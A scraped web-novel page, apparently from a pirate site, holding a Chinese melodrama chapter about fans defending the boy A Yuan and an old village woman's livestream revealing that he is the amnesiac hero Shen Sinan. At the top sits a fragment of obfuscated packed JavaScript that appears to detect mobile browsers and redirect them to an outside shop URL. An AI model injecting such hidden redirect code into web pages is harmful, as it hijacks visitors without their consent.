l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037604|194640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
惊，而是因为愤怒。她立刻翻出自己手机里阿怨在苗寨的照片——那个举着萤石对着镜头笑的孩子，那个帮梨春梦摘月莲的孩子，那个在梨花园里追着蝴蝶跑的孩子。她将两张照片拼在一起，发在微博上，配文：【不过是眉眼相似的一张旧照！阿怨就是阿怨，是苗寨里被许祭守护、被杬祝姐姐心疼的孩子！无关什么祭祀，他只是我们最爱的阿怨！】
秦淑、余霓霓和纪采薇几乎是同时响应。秦淑熬了一夜，画出了一幅对比图，左边是旧照里肃穆的少年祭祀，右边是苗寨里软糯的阿怨，中间用一条萤石溪流连接，溪流上漂浮着月莲与祭笛，配文：【眉眼相似，灵魂不同。阿怨的温柔，是苗寨的月光与溪流养出来的，与过往无关！】余霓霓第一时间联系后援会，发布了严正声明，呼吁粉丝不信谣、不传谣，一张照片说明不了任何问题，守护好阿怨和陈杬祝才是最重要的。纪采薇则以理性的口吻，科普了「人类面部特征相似性的概率」，委婉地表示，仅凭一张照片就下定论，实在太过草率。
苗寨的梨花园，在清晨的微光里渐渐苏醒。
阿怨是被许祭的手机提示音吵醒的，他揉着惺忪的睡眼，趴在许祭的肩头，好奇地问：「许祭哥哥，怎么这么多消息啊？」
许祭的脸色早已沉得像墨，他迅速将手机屏幕按灭，指尖却控制不住地微微颤抖。他低头看向怀里的阿怨，那张软糯的小脸，与照片里那个穿着玄色祭服、眼神肃穆的少年渐渐重叠，又渐渐分开。他喉结滚动了几下，最终只是轻轻拍了拍阿怨的背，声音沙哑：「没事，是一些无关紧要的消息。」
可阿怨还是敏锐地察觉到了不对，他揪着许祭的衣角，小声问：「是不是和我有关？」
就在这时，梨春梦匆匆走来，手里拿着一部老旧的手机，屏幕上正是那张被疯传的旧照。她的脸色凝重，看着许祭，又看了看阿怨，最终叹了口气：「外面的消息，压不住了。老蛊婆说，让你带着阿怨过去一趟。」
阿怨的目光落在手机屏幕上，当看到那张旧照时，他小小的身子突然一僵，像是被什么东西狠狠击中。他的眉头紧紧皱起，脑袋里像是有无数碎片在疯狂冲撞，一些模糊的画面一闪而过——祖祠里的香火，一支冰凉的祭笛，还有族人跪拜的身影。
「头……好痛……」阿怨捂着脑袋，疼得眼泪瞬间涌了出来，他紧紧抓着许祭的衣服，声音里带着浓浓的哭腔，「许祭哥哥，我头好痛……我好像见过他……又好像不认识……他是谁啊……我是阿怨……」
许祭的心像是被一只手狠狠攥住，疼得他几乎喘不过气。他立刻将阿怨紧紧抱进怀里，一手护着他的头，一手轻轻拍着他的背，声音里带着前所未有的坚定：「他是谁不重要，你是阿怨，是我的阿怨，是苗寨的阿怨。有我在，没人能伤害你。」
梨春梦看着这一幕，眼底满是心疼。她转身走到回廊边，拿出手机，在那个八卦号的微博下评论，文字里带着苗寨儿女的强硬：「一张旧照，不足为证。阿怨是苗寨的孩子，是我们用艾草和糯米茶养大的孩子。谁要是敢拿一张照片来打扰他的平静，苗寨的人，绝不答应！」
远在片场的陈杬祝，是被楒微微哭着叫醒的。当她看到那张旧照时，手里的剧本「啪」地掉在地上，娜卡塔榙的台词散了一地。她的脑海里瞬间闪过自己那条@阿怨的微博，闪过许祭那条带着执念的回复，心脏像是被一只无形的手紧紧攥住。
她没有丝毫犹豫，立刻拿起手机，登录自己的微博。这一次，她没有发温柔的文字，也没有发虐心的感慨，只是简单粗暴地转发了那个八卦号的微博，配文只有一句话，却带着雷霆万钧的气势：「一张相似的旧照，不是你们博眼球的工具。我的阿怨，只是苗寨的阿怨。再敢造谣，法庭见。」
微博发出的瞬间，全网寂静。
没有人想到，一向温柔的陈杬祝，会说出如此强硬的话。
而苗寨的祖祠里，老蛊婆拄着拐杖，看着被许祭抱在怀里、疼得浑身发抖的阿怨，眼底满是沧桑。她缓缓伸出手，抚摸着阿怨的头顶，声音里带着古老的韵律：「孩子，别害怕。一张照片，带不走你的温柔，也加不到你的身上任何枷锁。苗寨，永远是你的家。」
阿怨抬起满是泪水的脸，看着老蛊婆，又看了看许祭，最终将脸埋进许祭的怀里，呜咽着说：「我是阿怨……我只要做阿怨……」
许祭紧紧抱着他，抬头望向祖祠外的天空。阳光渐渐升起，洒在萤石溪流上，泛着温暖的蓝光。他的眼底闪过一丝决绝，手指缓缓划过手机屏幕，最终停留在一个尘封已久的相册上——那里，藏着苗寨不为人知的过往，却唯独没有阿怨的名字。
一张照片，终究是掀起了轩然大波。
但他许祭，定会护着阿怨，护着他的软糯与温柔，护着他的全世界，直到最后一刻。
老蛊婆的直播没有任何预告，是在梨春梦的协助下，用一部老旧的智能手机临时开启的。直播间的封面没有花哨的特效，只有苗寨祖祠前那棵老梨树，枝头挂着几朵刚开的月莲，标题简单得只有五个字：「说说阿怨的事」。
直播刚一上线，瞬间就涌入了几十万观众。原本还在各大平台争论阿怨与旧照少年关系的网友，像是被一股无形的力量牵引，纷纷涌入这个画质模糊、甚至带着些许杂音的直播间。弹幕瞬间刷屏，有好奇，有质疑，也有粉丝们带着忐忑的守护。
镜头里，老蛊婆拄着那根雕满萤石图腾的拐杖，端坐在祖祠的木椅上。她穿着苗寨传统的藏青色布衣，头发用一根银簪挽起，脸上的皱纹里刻着岁月的沧桑，眼神却依旧清亮而坚定。梨春梦站在镜头侧后方，手里端着一杯温热的糯米茶，安静地守着。
老蛊婆没有急着开口，只是缓缓抬起手，轻轻摩挲着身前香案上的一支旧祭笛。那支祭笛的竹身已经泛出温润的包浆，笛身上的萤石镶嵌早已失去了往日的光泽，却在直播间的微光里，透着一股岁月沉淀的厚重。
弹幕的节奏渐渐慢了下来，所有人都在等待着老蛊婆的开口。
终于，老蛊婆的声音透过手机扬声器传了出来，带着苗寨口音的普通话，缓慢而清晰：「我知道，外面都在传阿怨的事，传那张旧照。今天开这个直播，不是为了辟谣，也不是为了博眼球，只是想给大家说说，我们苗寨的阿怨——也是我们苗寨的沈司南。」
这句话像一颗定音石，瞬间让沸腾的弹幕安静了几分。
老蛊婆的指尖依旧停留在祭笛上，眼神飘向了祖祠外的梨花园，像是能透过时光，看到那个既曾手握祭笛、也曾抱着萤石蹦蹦跳跳的身影：「阿怨就是沈司南，沈司南就是阿怨。这不是两个名字，是同一个孩子的两段人生。二十岁之前，他是沈司南，是苗寨最后一任世袭祭祀。」
「从十二岁接过祭笛，到二十岁跳崖护寨，整整八年的时光，他都在为苗寨而活。」老蛊婆的声音里带着一丝难以言喻的沉重，「从小没了爹娘，是全寨人捧在手心里养大的。可祭祀的身份，是与苗寨共存亡的誓言。十二岁的孩子，本该在梨花园追蝴蝶、在萤石溪捞石头，却要天不亮就沐浴净身，跟着我学仪轨、背经文，握着冰冷的祭笛，扛起守护整个苗寨的重担。」
「这八年里，他没有过过一天真正属于自己的日子。」老蛊婆的语气里满是疼惜，「大旱之年，他在祖祠里跪三天三夜祈福，嘴唇裂得淌血，手指磨得见骨；寒冬腊月，他在萤石溪里沐浴净身，只为完成一年一度的祭祀大典；寨里的孩子围着他喊『司南哥哥』，他却连陪他们玩一会儿的时间都没有——他是祭祀，是苗寨的守护神，不能有半分懈怠。」
她的语气陡然一沉，握着拐杖的手不自觉地收紧，指节泛白，眼底的温柔被刻骨的心疼与愤怒取代：「他二十岁那年的深秋，兰榙一族的人，带着对萤石的贪婪和对苗寨的怨毒，闯了进来。」老蛊婆的声音里带着咬牙切齿的恨意，「兰榙的人，心狠手辣，他们不仅要挖走我们的萤石矿，还要放火烧了我们的梨花园，拆了我们的吊脚楼，将我们苗寨的人赶尽杀绝，占了我们世世代代居住的土地！」
「那些兰榙的人，手里拿着锋利的兵器，身上带着易燃的火油，所到之处，一片狼藉。我们寨里的青壮拼了命抵抗，可哪里是这些训练有素的恶人的对手？不断有人倒下，不断有房屋被点燃，苗寨的核心区域眼看就要被攻破，全寨人的性命都悬在了一线。」
「危急关头，司南突然推开护着他的族人，抱着那支跟了他八年的祭笛，冲到了断魂崖边——那是苗寨的命脉所在，也是兰榙之人进入核心区域的最后一道屏障，更是我们苗寨祭祀与天地对话、以命护寨的圣地。」
「我永远记得那天的场景。」老蛊婆的声音开始颤抖，泪水终于从眼角滑落，砸在身前的香案上，「司南站在崖边，身后是滚滚浓烟和族人的哭喊，身前是步步紧逼、眼神贪婪的兰榙恶人。他那时刚满二十岁，正是该鲜衣怒马、意气风发的年纪，却穿着一身玄色祭服，脸上没有半分惧色。他高高举起那支祭笛，用带着决绝的声音嘶吼：『兰榙的贼人！这是苗寨的土地，你们敢再前进一步，我便带着祭笛跳下去！祭祀魂散，萤石永寂，你们什么都别想得到！』」
「兰榙的人根本不信一个二十岁的青年真的敢轻弃性命，他们叫嚣着『一个祭祀的命，换整个苗寨的萤石，值了！』依旧往前冲。为了保护苗寨，为了守护全寨人的性命和家园，为了不让兰榙的贼人得逞，我们的司南，没有半分犹豫，转身就跳进了断魂崖的深渊。」
「他的身影刚消失在崖边，我便疯了似的冲下断魂崖的缓坡——我是看着他长大的，我不信我的孩子就这么没了！」老蛊婆的哭声终于忍不住溢出喉咙，「就在崖底的浅滩上，我看到了他。浑身是血，骨头断了不知道多少根，那支祭笛被他紧紧护在怀里，手里还攥着一块从崖壁上脱落的萤石。他那时还有一口气，微弱得像风中的烛火，嘴里只断断续续地喊着『苗寨……平安……』」
「兰榙的人见司南真的跳了崖，又听寨里的老人跟着我喊『祭祀魂散萤石永寂』，果然不敢再深入，骂骂咧咧地退了出去。我们的苗寨，就这样被司南用性命赌来了平安。」老蛊婆的泪水越流越凶，「我抱着奄奄一息的司南，连滚带爬地回到寨里。全寨的人都动了起来，采来最珍贵的草药，守着他熬了一天又一天。」
「他活下来了，可他忘了一切。」老蛊婆的声音突然软了下来，眼底的泪水里，漾起一层温柔的涟漪，「他忘了自己是沈司南，忘了八年的祭祀生涯，忘了二十岁那年兰榙闯寨的血腥，忘了自己跳崖护寨的决绝，甚至忘了我是谁。他瘦得只剩下一把骨头，醒来后只会睁着一双懵懂的眼睛看我，手里却还紧紧攥着那块萤石，嘴里只知道断断续续地喊着『疼』。」
「我们就叫他阿怨。」老蛊婆的声音里带着一丝宠溺，「不是埋怨的怨，是我们苗寨人对孩子的爱称，是说他是我们捧在手心的宝贝。全寨的人都心照不宣，没有人再提沈司南，没有人再提祭祀的责任，没有人再提兰榙的恶行。我们只想让他做个无忧无虑的阿怨，做个不用再守护谁、只需要被守护的孩子。」
「你们见过阿怨吗？」老蛊婆突然抬起头，直视着镜头，眼神里满是骄傲，「他会帮梨春梦摘月莲，会把串好的萤石手链分给寨里的小娃娃，会在许祭忙的时候，安安静静地坐在一旁等着，会对着陈杬祝姑娘露出最软糯的笑容。他的手，不再只是用来握冰冷祭笛的，更是用来抓萤石、摘鲜花的；他的肩膀，不再只是用来扛祭祀重担的，更是用来靠在许祭怀里撒娇的。」
「我们苗寨的人，看着阿怨一天天长大，看着他从那个连路都走不稳的小可怜，变成了会笑着喊我们『婆婆』『姐姐』的乖孩子。」老蛊婆的声音带着一丝哽咽，却依旧铿锵有力，「我们从来都没有忘记，他是沈司南，是那个二十岁为了对抗兰榙、守护苗寨而奋不顾身跳崖的英雄；但我们更珍惜，他是阿怨，是那个被我们用糯米茶和艾草养大的、无忧无虑的孩子。」
她的声音突然变得坚定，带着不容置疑的决绝与护犊之情：「外面的人，拿着一张旧照，就想把我们的阿怨，重新拉回那个充满了血与火的过去。可我要告诉你们，阿怨就是沈司南，沈司南就是阿怨。但苗寨的祭祀，可以没有沈司南，却不能没有阿怨！」
「我们苗寨的人，不在乎什么世袭祭祀的身份。我们只在乎那个会帮梨春梦摘月莲、会对着陈杬祝笑、会紧紧抓着许祭衣角的孩子。」老蛊婆的目光扫过镜头，带着苗寨人独有的威严，「更要告诉那些藏在暗处的兰榙余孽——当年司南跳崖护寨，你们没能得逞；如今谁敢再来打扰阿怨的平静，敢再伤害我们苗寨的一分一毫，我们苗寨的人，就算拼尽性命，也绝不会放过你们！」
直播的最后，老蛊婆拿起那支旧祭笛，放在唇边，吹了一段古老的旋律。那旋律没有激昂的节奏，只有淡淡的温柔，像是苗寨的月光，又像是萤石溪流的水声。弹幕里的争论早已消失不见，取而代之的是满屏的「心疼阿怨」「守护苗寨」「兰榙太可恶」，还有无数粉丝自发刷起的「阿怨要永远快乐」。
直播结束后，#老蛊婆阿怨就是沈司南# #二十岁跳崖抗兰榙# #苗寨的温柔守护# 三个话题瞬间冲上热搜榜首。网友们的态度发生了一百八十度的大转弯，之前的质疑与揣测，全都变成了对阿怨的心疼、对苗寨的敬重，以及对兰榙一族的愤怒，那些黑粉的言论，瞬间被淹没在一片温情与声讨的声浪里。
李诺言看着直播回放，眼泪早已打湿了屏幕，连卫衣的袖口都浸得透湿。她立刻发了一条微博，配文：「原来阿怨就是沈司南！那个二十岁跳崖对抗兰榙、守护苗寨的英雄，跳崖后被婆婆亲手救下，却失去了所有记忆！兰榙太可恶了！我们也要像苗寨一样，拼尽全力守护好我们的阿怨！」
秦淑、余霓霓和纪采薇也纷纷转发，秦淑还附上了一幅刚画好的画——左边是穿着玄色祭服、手握祭笛站在断魂崖边的沈司南，眉目间是二十岁的决绝与坚定；右边是老蛊婆抱着浑身是伤的沈司南，背景是泛着蓝光的萤石浅滩，而最右侧，是抱着萤石手链、在梨花园里笑的阿怨，身边是许祭的身影。配文：「沈司南是二十岁抗兰榙的英雄，阿怨是被婆婆和苗寨温柔守护的宝贝。痛已成过往，温柔才是归宿。」
远在片场的陈杬祝，是在拍摄间隙看完直播回放的。她靠在保姆车的座椅上，手里握着手机，眼泪无声地滑落，打湿了剧本上娜卡塔榙的台词。她终于明白，为什么自己会说「娜卡塔榙的痛没有你痛」——沈司南用二十岁的青春与性命对抗兰榙、守护苗寨，跳崖后九死一生却失去记忆，阿怨带着破碎的身体与空白的记忆被温柔包裹，那份痛，是英雄的壮烈与孩子的懵懂交织，比任何角色的苦难都更让人心碎。
她没有发微博，只是给阿怨发了一条微信：「阿怨，别怕，姐姐永远站在你这边。你是沈司南，是二十岁跳崖抗兰榙的勇敢英雄；你也是阿怨，是我们所有人的小宝贝。以后的日子，再也不会有痛苦了。」
而苗寨的梨花园里，阿怨正靠在许祭的怀里，手里攥着一串刚串好的萤石手链。他没有看直播，却从许祭紧抿的唇线里，从梨春梦泛红的眼眶里，感受到了什么。他抬起头，看着许祭，声音带着浓浓的鼻音，小声问：「许祭哥哥，婆婆是不是很早就认识我了？」
许祭轻轻摸了摸他的头，将他更紧地搂进怀里，声音温柔而坚定，带着不容错辨的宠溺与决绝：「是，婆婆看着你长大，看着你从一个小英雄，变成了我们最爱的阿怨。现在的你，有我，有老蛊婆，有梨春梦姐姐，有整个苗寨，还有杬祝姐姐，我们会永远守护你，再也不让你受半点委屈。」
老蛊婆站在祖祠的门口，看着梨花园里的两个身影，缓缓放下了手里的祭笛。阳光洒在她的身上，也洒在苗寨的每一个角落，萤石溪流泛着温暖的蓝光，月莲在岸边静静绽放。
阿怨就是沈司南的秘密，终究是被说了出来。
但苗寨的人，会永远守护着阿怨，守护着这个孩子的温柔与软糯，守护着他的全世界。而那些曾经伤害过他的兰榙余孽，也终将为当年的恶行，付出应有的代价。